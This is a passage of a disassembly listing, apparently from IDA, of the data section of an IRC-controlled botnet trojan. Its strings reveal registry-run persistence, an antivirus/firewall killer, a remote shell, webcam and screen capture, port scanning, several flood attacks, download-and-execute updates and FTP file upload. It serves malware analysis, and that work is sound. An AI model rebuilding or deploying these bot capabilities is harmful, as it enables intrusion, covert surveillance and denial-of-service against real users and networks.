Mardam-Bey" dd offset aMircV6_20Khale ; "mIRC v6.20 Khaled Mardam-Bey" dd offset aMircV6_21Khale ; "mIRC v6.21 Khaled Mardam-Bey" aSoftwareMicr_0 db 'Software\Microsoft\Windows\CurrentVersion\Run',0 align 4 db 53h aOftwareMicroso db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0 align 4 aSoftwareMicros db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_419E79+28o ; sub_41A19D+28o align 4 aSystemCurrentc db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_419E79+D4o ; sub_41A19D+D4o align 4 dd offset aAdministrato_0 ; "administrator" dd 0 dd offset dword_43D128 dd offset aAdministrato_0 ; "administrator" align 10h dword_429230 dd 10h ; DATA XREF: sub_401ACD+AFBr ; sub_401ACD+B27r ... aAdministrato_0 db 'administrator',0 ; DATA XREF: ___:0042921Co ; ___:00429228o align 4 aMircV6_21Khale db 'mIRC v6.21 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429170o align 4 aMircV6_20Khale db 'mIRC v6.20 Khaled Mardam-Bey',0 ; DATA XREF: ___:0042916Co align 4 aMircV6_17Khale db 'mIRC v6.17 Khaled Mardam-Bey',0 ; DATA XREF: ___:00429168o align 4 aMircV6_16Khale db 'mIRC v6.16 Khaled Mardam-Bey',0 ; DATA XREF: ___:off_429164o align 4 a@admin_com db '*@admin.com',0 ; DATA XREF: ___:off_429160o dword_4292D0 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:0040168Co aFailedToStartS db '- Failed to start server, error: <%d>.',0 align 4 dword_429304 dd 234032Dh, 6E656469h, 2036474h ; DATA XREF: ___:00401641o aServerRunningO db '- Server running on Port: 113.',0 align 10h unk_429330 db 2Dh ; - ; DATA XREF: ___:00401614o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aFailedToStartA db ' Failed to start AV/FW killer thread, error: <%d>.',0 align 10h unk_429370 db 2Dh ; - ; DATA XREF: ___:004015C3o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 3, 2, 2Dh aAvFwKillerActi db ' AV/FW Killer active.',0 align 4 dword_429394 dd 234032Dh, 6E69616Dh, 202D0203h, 20746F42h, 72617473h ; DATA XREF: ___:00401585o dd 2E646574h, 0 dword_4293B0 dd 25207325h, 25222064h, 2273h ; DATA XREF: ___:004014B0o dword_4293BC dd 255C7325h, 73h ; DATA XREF: ___:004013AAo ; sub_415A2F+7Eo dword_4293C4 dd 73257325h, 0 ; DATA XREF: ___:0040132Eo ; sub_40F6B3+EAo ... unk_4293CC db 2Dh ; - ; DATA XREF: sub_4017ED+F2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aConnectedToS_ db 'Connected to %s.',0 align 4 aNickSUserS00S db 'NICK %s',0Dh,0Ah ; DATA XREF: sub_401955+62o db 'USER %s 0 0 :%s',0Dh,0Ah,0 align 4 aPassS db 'PASS %s',0Dh,0Ah,0 ; DATA XREF: sub_401955+35o align 4 aModeSS_0 db 'MODE %s %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F2Eo align 4 aUserhostS db 'USERHOST %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7F16o align 4 unk_429434 db 2Dh ; - ; DATA XREF: sub_401ACD+7F09o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUserSLoggedIn_ db 'User: %s logged in.',0 unk_429454 db 2Dh ; - ; DATA XREF: sub_401ACD+7EECo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPasswordAccept db 'Password accepted.',0 align 4 unk_429474 db 2Dh ; - ; DATA XREF: sub_401ACD+7E8Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedHostAuth db '*Failed host auth by: (%s!%s).',0 align 10h aNoticeSHostAut db 'NOTICE %s :Host Auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E62o align 4 unk_4294C8 db 2Dh ; - ; DATA XREF: sub_401ACD+7E24o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aFailedPassAuth db '*Failed pass auth by: (%s!%s).',0 align 4 aNoticeSYourAtt db 'NOTICE %s :Your attempt has been logged.',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7E12o ; sub_401ACD+7E79o align 10h aNoticeSPassAut db 'NOTICE %s :Pass auth failed (%s!%s).',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+7DFBo align 4 asc_429548: ; DATA XREF: sub_401ACD+7DCBo unicode 0, <~>,0 unk_42954C db 2Dh ; - ; DATA XREF: sub_401ACD+7D7Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRandomNickChan db 'Random nick change: %s',0 align 10h unk_429570 db 2Dh ; - ; DATA XREF: sub_401ACD+7D0Bo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnectingIn db 'Reconnecting in %s seconds',0 align 4 unk_429598 db 2Dh ; - ; DATA XREF: sub_401ACD+7CC3o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReconnecting_0 db 'Reconnecting in %s ms',0 align 4 unk_4295BC db 2Dh ; - ; DATA XREF: sub_401ACD+7CA1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aNickChangedToS db 'Nick changed to: ',27h,'%s',27h,'.',0 align 10h unk_4295E0 db 2Dh ; - ; DATA XREF: sub_401ACD+7C81o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aJoinedChannelS db 'Joined channel: ',27h,'%s',27h,'.',0 align 4 unk_429604 db 2Dh ; - ; DATA XREF: sub_401ACD+7C5Ao db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPartedChannelS db 'Parted channel: ',27h,'%s',27h,'.',0 align 4 dword_429628 dd 234032Dh, 6E69616Dh, 202D0302h, 20435249h, 3A776152h ; DATA XREF: sub_401ACD+7C3Ao dd 2E732520h, 0 unk_429644 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409684o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aFailedToKillTh db '- Failed to kill thread: %s.',0 align 10h unk_429670 db 2Dh ; - ; DATA XREF: sub_401ACD+7BB0o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aKilledThreadS_ db '- Killed thread: %s.',0 align 4 unk_429694 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4095FCo db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aNoActiveThread db '- No active threads found.',0 unk_4296BC db 2Dh ; - ; DATA XREF: sub_401ACD+7B25o db 3, 34h, 2 db 74h ; t db 68h, 72h, 65h db 61h ; a db 64h, 73h, 2 db 3 aStoppedDThread db '- Stopped: %d thread(s).',0 align 4 aAll db 'all',0 ; DATA XREF: sub_401ACD+7B0Bo unk_4296E8 db 2Dh ; - ; DATA XREF: sub_401ACD+79FEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrefixChangedT db 'Prefix changed to: ',27h,'%c',27h,'.',0 align 10h unk_429710 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4094B2o db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aCouldnTOpenFil db ' Couldn',27h,'t open file: %s',0 unk_429734 db 2Dh ; - ; DATA XREF: sub_401ACD+79DBo db 3, 34h, 2 db 73h ; s db 68h, 65h, 6Ch db 6Ch ; l db 2, 3, 2Dh aFileOpenedS db ' File opened: %s',0 align 4 unk_429754 db 2Dh ; - ; DATA XREF: sub_401ACD+79B7o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aServerChangedT db 'Server changed to: ',27h,'%s',27h,'.',0 align 4 unk_42977C db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409467o db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aCouldnTResol_0 db '- Couldn',27h,'t resolve hostname.',0 align 4 unk_4297A4 db 2Dh ; - ; DATA XREF: sub_401ACD+796Co db 3, 34h, 2 db 64h ; d db 6Eh, 73h, 2 db 3 aLookupSS_ db '- Lookup: %s -> %s.',0 align 4 unk_4297C4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4093FCo db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTermin db ' Failed to terminate process: %s',0 align 4 unk_4297F4 db 2Dh ; - ; DATA XREF: sub_401ACD+7925o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledS db ' Process killed: %s',0 unk_429814 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409398o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aFailedToTerm_0 db ' Failed to terminate process ID: %s',0 unk_429844 db 2Dh ; - ; DATA XREF: sub_401ACD+78C4o db 3, 34h, 2 db 70h ; p db 72h, 6Fh, 63h db 73h ; s db 2, 3, 2Dh aProcessKilledI db ' Process killed ID: %s',0 align 4 dword_429868 dd 234032Dh, 656C6966h, 202D0302h, 656C6544h, 20646574h ; DATA XREF: sub_401ACD+7884o dd 27732527h, 2Eh unk_429884 db 2Dh ; - ; DATA XREF: sub_401ACD+7802o db 3, 34h, 2 db 64h ; d db 2 dup(63h), 2 db 3 aSendFileSUserS db '- Send File: %s, User: %s.',0 dword_4298A8 dd 234032Dh, 656C6966h, 202D0302h, 7473694Ch, 7325203Ah ; DATA XREF: sub_401ACD+7785o dd 0 unk_4298C0 db 2Dh ; - ; DATA XREF: sub_401ACD+7754o db 3, 34h, 2 db 76h ; v db 69h, 73h, 69h db 74h ; t db 2, 3, 2Dh aFailedToStartC db ' Failed to start connection thread, error: <%d>.',0 align 10h dword_429900 dd 234032Dh, 69736976h, 2D030274h, 4C525520h, 7325203Ah ; DATA XREF: sub_401ACD+76E5o dd 2Eh dword_429918 dd 234032Dh, 6372696Dh, 202D0302h, 6D6D6F43h, 20646E61h ; DATA XREF: sub_401ACD:loc_40913Fo dd 746E6573h, 2Eh unk_429934 db 2Dh ; - ; DATA XREF: sub_401ACD+766Bo db 3, 34h, 2 db 6Dh ; m db 69h, 72h, 63h db 2 db 3, 2Dh, 20h aClientNotOpen_ db 'Client not open.',0 align 4 dword_429954 dd 234032Dh, 2646D63h, 43202D03h, 616D6D6Fh, 3A73646Eh ; DATA XREF: sub_401ACD+762Fo dd 732520h unk_42996C db 2Dh ; - ; DATA XREF: sub_401ACD+7610o db 3, 34h, 2 db 63h ; c db 6Dh, 64h, 2 db 3 aErrorSendingTo db '- Error sending to remote shell.',0 align 4 asc_429998: ; DATA XREF: sub_401ACD+75F8o ; sub_40F6B3+FBo ... dw 0Ah unicode 0, <>,0 unk_42999C db 2Dh ; - ; DATA XREF: sub_401ACD+75CEo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileFailed db 'Read file failed: %s',0 align 10h unk_4299C0 db 2Dh ; - ; DATA XREF: sub_401ACD+75C1o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aReadFileComple db 'Read file complete: %s',0 align 4 unk_4299E4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_40901Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_0 db '- Invalid parameters for amateur video capture.',0 align 4 unk_429A24 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_409014o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCapt db '- Error while capturing amateur video from webcam.',0 unk_429A64 db 2Dh ; - ; DATA XREF: sub_401ACD+753Do db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aAmateurVideoSa db '- Amateur video saved to: %s.',0 align 10h aVideo db 'video',0 ; DATA XREF: sub_401ACD:loc_408F86o align 4 unk_429A98 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F73o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aInvalidParam_1 db '- Invalid parameters for webcam capture.',0 align 10h unk_429AD0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408F6Co db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_0 db '- Error while capturing from webcam.',0 align 4 unk_429B04 db 2Dh ; - ; DATA XREF: sub_401ACD+748Fo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aWebcamCaptureS db '- Webcam capture saved to: %s.',0 aFrame db 'frame',0 ; DATA XREF: sub_401ACD:loc_408EE5o align 4 unk_429B38 db 2Dh ; - ; DATA XREF: sub_401ACD+740Bo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverListComp db '- Driver list complete.',0 align 10h unk_429B60 db 2Dh ; - ; DATA XREF: sub_401ACD+73D8o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aDriverDSS_ db '- Driver #%d - %s - %s.',0 align 4 aDrivers db 'drivers',0 ; DATA XREF: sub_401ACD:loc_408E58o unk_429B90 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E45o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aNoFilenameSpec db '- No filename specified for screen capture.',0 align 4 unk_429BCC db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408E3Eo db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aErrorWhileCa_1 db '- Error while capturing screen.',0 align 4 unk_429BFC db 2Dh ; - ; DATA XREF: sub_401ACD+7361o db 3, 34h, 2 db 63h ; c db 61h, 70h, 74h db 75h ; u db 72h, 65h, 2 db 3 aScreenCaptureS db '- Screen capture saved to: %s.',0 aScreen db 'screen',0 ; DATA XREF: sub_401ACD:loc_408DFDo align 10h dword_429C30 dd 234032Dh, 6E69616Dh, 202D0302h, 68746547h, 3A74736Fh ; DATA XREF: sub_401ACD+7318o dd 2E732520h, 0 unk_429C4C db 2Dh ; - ; DATA XREF: sub_401ACD+72D2o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aUnableToExtrac db 'Unable to extract Gethost command.',0 align 4 unk_429C7C db 2Dh ; - ; DATA XREF: sub_401ACD+72B6o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aGethostSComman db 'Gethost: %s, Command: %s',0 align 4 unk_429CA4 db 2Dh ; - ; DATA XREF: sub_401ACD+7209o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aAliasAddedS_ db 'Alias added: %s.',0 align 4 unk_429CC4 db 2Dh ; - ; DATA XREF: sub_401ACD+71D5o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aPrivmsgSS_ db 'Privmsg: %s: %s.',0 align 4 unk_429CE4 db 2Dh ; - ; DATA XREF: sub_401ACD+7180o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aActionSS_ db 'Action: %s: %s.',0 dword_429D00 dd 234032Dh, 6E69616Dh, 202D0302h, 6C637943h, 2E65h ; DATA XREF: sub_401ACD+710Eo dword_429D14 dd 54524150h, 0D732520h, 0Ah ; DATA XREF: sub_401ACD+70D4o ; sub_401ACD+7C47o unk_429D20 db 2Dh ; - ; DATA XREF: sub_401ACD+70AFo db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aModeChangeS db 'Mode change: %s',0 aModeS db 'MODE %s',0Dh,0Ah,0 ; DATA XREF: sub_401ACD+709Eo align 4 dword_429D48 dd 234032Dh, 6E6F6C63h, 2D030265h, 77615220h, 73252820h ; DATA XREF: sub_401ACD+7073o dd 25203A29h, 73h dword_429D64 dd 234032Dh, 6E6F6C63h, 2D030265h, 646F4D20h, 25282065h ; DATA XREF: sub_401ACD+7004o dd 203A2973h, 7325h dword_429D80 dd 45444F4Dh, 732520h ; DATA XREF: sub_401ACD+6FA9o dword_429D88 dd 234032Dh, 6E6F6C63h, 2D030265h, 63694E20h, 2528206Bh ; DATA XREF: sub_401ACD+6F79o dd 203A2973h, 7325h dword_429DA4 dd 4E494F4Ah, 20732520h, 7325h ; DATA XREF: sub_401ACD+6F00o dword_429DB0 dd 0A0D7325h, 0 ; DATA XREF: sub_401ACD+6ECEo ; sub_401ACD+6F57o ... dword_429DB8 dd 54524150h, 732520h ; DATA XREF: sub_401ACD+6E95o dword_429DC0 dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E84o aFailedToStartF db '- Failed to start flood thread, error: <%d>.',0 align 4 dword_429DFC dd 234032Dh, 67726174h, 3023361h ; DATA XREF: sub_401ACD+6E15o aFloodingSForSS db '- Flooding %s for %s seconds.',0 align 4 unk_429E28 db 2Dh ; - ; DATA XREF: sub_401ACD+6D85o db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aFailedToStar_0 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_429E64 db 2Dh ; - ; DATA XREF: sub_401ACD+6D1Ao db 3, 34h, 2 db 74h ; t db 73h, 75h, 6Eh db 61h ; a db 6Dh, 69h, 2 db 3 aTsunamiHeading db '- Tsunami heading for %s (%s seconds).',0 unk_429E98 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408745o db 3, 34h, 2 db 6Dh ; m db 61h, 69h, 6Eh db 2 db 3, 2Dh, 20h aRepeatNotAllow db 'Repeat not allowed in command line: %s',0 align 4 dword_429ECC dd 234032Dh, 6E69616Dh, 202D0302h, 65706552h, 203A7461h ; DATA XREF: sub_401ACD+6C3Do dd 7325h dword_429EE4 dd 234032Dh, 6E69616Dh, 202D0302h, 616C6544h, 2E79h ; DATA XREF: sub_401ACD:loc_408673o dword_429EF8 dd 25207325h, 73252073h, 73253A20h, 0 ; DATA XREF: sub_401ACD+6B62o ; sub_401ACD+6C14o ... dword_429F08 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD:loc_4085D0o aBotIdMustBeDif db '- Bot ID must be different than current running process.',0 align 10h dword_429F50 dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6AF9o aFailedToStartD db '- Failed to start download thread, error: <%d>.',0 dword_429F8C dd 234032Dh, 61647075h, 3026574h ; DATA XREF: sub_401ACD+6A8Ao aDownloadingUpd db '- Downloading update from: %s.',0 align 4 aSS_exe db '%s%s.exe',0 ; DATA XREF: sub_401ACD+69E2o align 4 dword_429FC4 dd 234032Dh, 63657865h, 202D0302h, 6D6D6F43h, 73646E61h ; DATA XREF: sub_401ACD+6980o dd 7325203Ah, 0 unk_429FE0 db 2Dh ; - ; DATA XREF: sub_401ACD+6975o db 3, 34h, 2 db 65h ; e db 78h, 65h, 63h db 2 db 3, 2Dh, 20h aCouldnTExecute db 'Couldn',27h,'t execute file.',0 align 4 unk_42A004 db 2Dh ; - ; DATA XREF: sub_401ACD+68DBo db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aFailedToStar_1 db 'Failed to start search thread, error: <%d>.',0 unk_42A040 db 2Dh ; - ; DATA XREF: sub_401ACD+6865o db 3, 34h, 2 db 66h ; f db 69h, 6Eh, 64h db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aSearchingForFi db 'Searching for file: %s in: %s.',0 align 10h dword_42A070 dd 234032Dh, 656C6966h, 2D0302h ; DATA XREF: sub_401ACD:loc_40826Bo ; sub_401ACD:loc_409366o unk_42A07C db 2Dh ; - ; DATA XREF: sub_401ACD+6789o db 3, 34h, 2 db 66h ; f db 69h, 6Ch, 65h db 2 db 3, 2Dh, 20h aRenameSToS_ db 'Rename: ',27h,'%s',27h,' to: ',27h,'%s',27h,'.',0 align 10h unk_42A0A0 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_408234o db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aInvalidFloodTi db 'Invalid flood time must be greater than 0.',0 align 4 unk_42A0D8 db 2Dh ; - ; DATA XREF: sub_401ACD+675Do db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFailedToStar_2 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A110 db 2Dh ; - ; DATA XREF: sub_401ACD+66EDo db 3, 34h, 2 db 69h ; i db 63h, 6Dh, 70h db 2 db 3, 2Dh, 20h aFloodingSFor_0 db 'Flooding: (%s) for %s seconds.',0 align 4 dword_42A13C dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+666Ao aFailedToStar_3 db '- Failed to start clone thread, error: <%d>.',0 align 4 dword_42A178 dd 234032Dh, 6E6F6C63h, 3027365h ; DATA XREF: sub_401ACD+65FBo aCreatedOnSDInC db '- Created on %s:%d, in channel %s.',0 align 4 unk_42A1A8 db 2Dh ; - ; DATA XREF: sub_401ACD+6582o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFailedToStar_4 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A1E0 db 2Dh ; - ; DATA XREF: sub_401ACD+6513o db 3, 34h, 2 db 64h ; d db 64h, 6Fh, 73h db 2 db 3, 2Dh, 20h aFloodingSSForS db 'Flooding: (%s:%s) for %s seconds.',0 align 10h unk_42A210 db 2Dh ; - ; DATA XREF: sub_401ACD+6489o db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFailedToStar_5 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A248 db 2Dh ; - ; DATA XREF: sub_401ACD+641Ao db 3, 34h, 2 db 73h ; s db 79h, 6Eh, 2 db 3 aFloodingSSFo_0 db '- Flooding: (%s:%s) for %s seconds.',0 align 4 unk_42A278 db 2Dh ; - ; DATA XREF: sub_401ACD+63A1o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFailedToStar_6 db 'Failed to start flood thread, error: <%d>.',0 align 10h unk_42A2B0 db 2Dh ; - ; DATA XREF: sub_401ACD+6332o db 3, 34h, 2 db 77h ; w db 6Fh, 6Eh, 6Bh db 2 db 3, 2Dh, 20h aFloodingSFor_1 db 'Flooding %s for %s seconds using delay %s ms.',0 align 4 unk_42A2EC db 2Dh ; - ; DATA XREF: sub_401ACD+62B9o db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aFailedToStartT db 'Failed to start transfer thread, error: <%d>.',0 align 4 unk_42A32C db 2Dh ; - ; DATA XREF: sub_401ACD+624Ao db 3, 34h, 2 db 64h ; d db 6Fh, 77h, 6Eh db 6Ch ; l db 6Fh, 61h, 64h db 2 db 3, 2Dh, 20h aDownloadingUrl db 'Downloading URL: %s to: %s.',0 unk_42A358 db 2Dh ; - ; DATA XREF: sub_401ACD+617Bo db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aFailedToStartR db 'Failed to start redirection thread, error: <%d>.',0 align 4 unk_42A39C db 2Dh ; - ; DATA XREF: sub_401ACD+610Co db 3, 34h, 2 db 72h ; r db 65h, 64h, 69h db 72h ; r db 65h, 63h, 74h db 2 db 3, 2Dh, 20h aTcpRedirectCre db 'TCP redirect created from: %s:%d to: %s:%d.',0 unk_42A3D8 db 2Dh ; - ; DATA XREF: sub_401ACD+600Fo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStarte db 'Port scan started: %s:%d with delay: %d(ms).',0 align 4 aSSS_1 db '[%s] <%s> %s',0 ; DATA XREF: sub_401ACD+5F63o align 4 aSSS_2 db '[%s] * %s %s',0 ; DATA XREF: sub_401ACD+5E86o align 4 dword_42A434 dd 54434101h, 204E4F49h, 17325h ; DATA XREF: sub_401ACD+5DF2o ; sub_401ACD+715Ao unk_42A440 db 2Dh ; - ; DATA XREF: sub_401ACD+5D8Eo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_7 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A47C db 2Dh ; - ; DATA XREF: sub_401ACD+5D1Fo db 3, 34h, 2 db 70h ; p db 6Fh, 72h, 74h db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aPortScanStar_0 db 'Port scan started: %s with delay: %d(ms) checking range %d-%d.',0 align 4 unk_42A4CC db 2Dh ; - ; DATA XREF: sub_401ACD+5C88o ; sub_401ACD+607Eo db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_8 db 'Failed to start scan thread, error: <%d>.',0 align 4 unk_42A504 db 2Dh ; - ; DATA XREF: sub_401ACD+5C19o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aSPortScanStart db '%s Port Scan started on %s:%d with a delay of %d seconds for %d m' db 'inutes using %d threads.',0 align 4 unk_42A56C db 2Dh ; - ; DATA XREF: sub_401ACD+5AA3o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToStar_9 db 'Failed to start scan, no IP specified.',0 align 10h unk_42A5A0 db 2Dh ; - ; DATA XREF: sub_401ACD+5A46o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aFailedToSta_10 db 'Failed to start scan, port is invalid.',0 align 4 unk_42A5D4 db 2Dh ; - ; DATA XREF: sub_401ACD:loc_4073F3o db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFileS db '- Uploading file: %s to: %s failed.',0 align 4 unk_42A604 db 2Dh ; - ; DATA XREF: sub_401ACD+591Fo db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aUploadingFil_0 db '- Uploading file: %s to: %s',0 align 4 aFtp_exe db 'ftp.exe',0 ; DATA XREF: sub_401ACD+5906o aSS_2 db '-s:%s',0 ; DATA XREF: sub_401ACD+58EFo align 4 aOpenSSSSPutSBy db 'open %s',0Dh,0Ah ; DATA XREF: sub_401ACD+58CCo db '%s',0Dh,0Ah db '%s',0Dh,0Ah db '%s',0Dh,0Ah db 'put %s',0Dh,0Ah db 'bye',0Dh,0Ah,0 align 10h aAb db 'ab',0 ; DATA XREF: sub_401ACD+58A8o ; ___:00411C61o align 4 aSIII_dll db '%s\%i%i%i.dll',0 ; DATA XREF: sub_401ACD+5897o align 4 unk_42A674 db 2Dh ; - ; DATA XREF: sub_401ACD+584Do db 3, 34h, 2 db 66h ; f db 74h, 70h, 2 db 3 aFileNotFoundS_ db '- File not found: %s.',0 align 4 aUpload db 'upload',0 ; DATA XREF: sub_401ACD+582Ao align 4 unk_42A69C db 2Dh ; - ; DATA XREF: sub_401ACD+57F4o db 3, 34h, 2 db 73h ; s db 63h, 61h, 6Eh db 2 db 3, 2Dh, 20h aAlreadyDScanni db 'Already %d scanning threads. Too many specified.',0 align 4 unk_42A6DC db 2Dh ; - ; DATA XREF: sub_401ACD+5797o db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aFailedToSta_11 db '- Failed to start flood thread, error: <%d>.',0 align 4 unk_42A714 db 2Dh ; - ; DATA XREF: sub_401ACD+572Co db 3, 34h, 2 db 75h ; u db 64h, 70h, 2 db 3 aSendingDPacket db '- Sending %d packets to: %s. Packet size: %d, Delay: %d(ms).',0 align 4 unk_42A75C db 2Dh ; - ; DATA XREF: sub_401ACD+567Bo db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aMessageHasBeen db '- Message has been sent successfuly',0 align 10h unk_42A790 db 2Dh ; - ; DATA XREF: sub_401ACD+5647o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aFailedToSendMe db '- Failed to send message, error <%i>.',0 align 4 unk_42A7C4 db 2Dh ; - ; DATA XREF: sub_401ACD+5623o db 3, 34h, 2 db 6Eh ; n db 65h, 74h, 73h db 65h ; e db 6Eh, 64h, 2 db 3 aNetsendDoesNot db '- NetSend does not work on Win9x systems',0 align 4 unk_42A7FC db 2Dh ; - ; DATA XREF: sub_401ACD+5581o db 3, 34h, 2 db 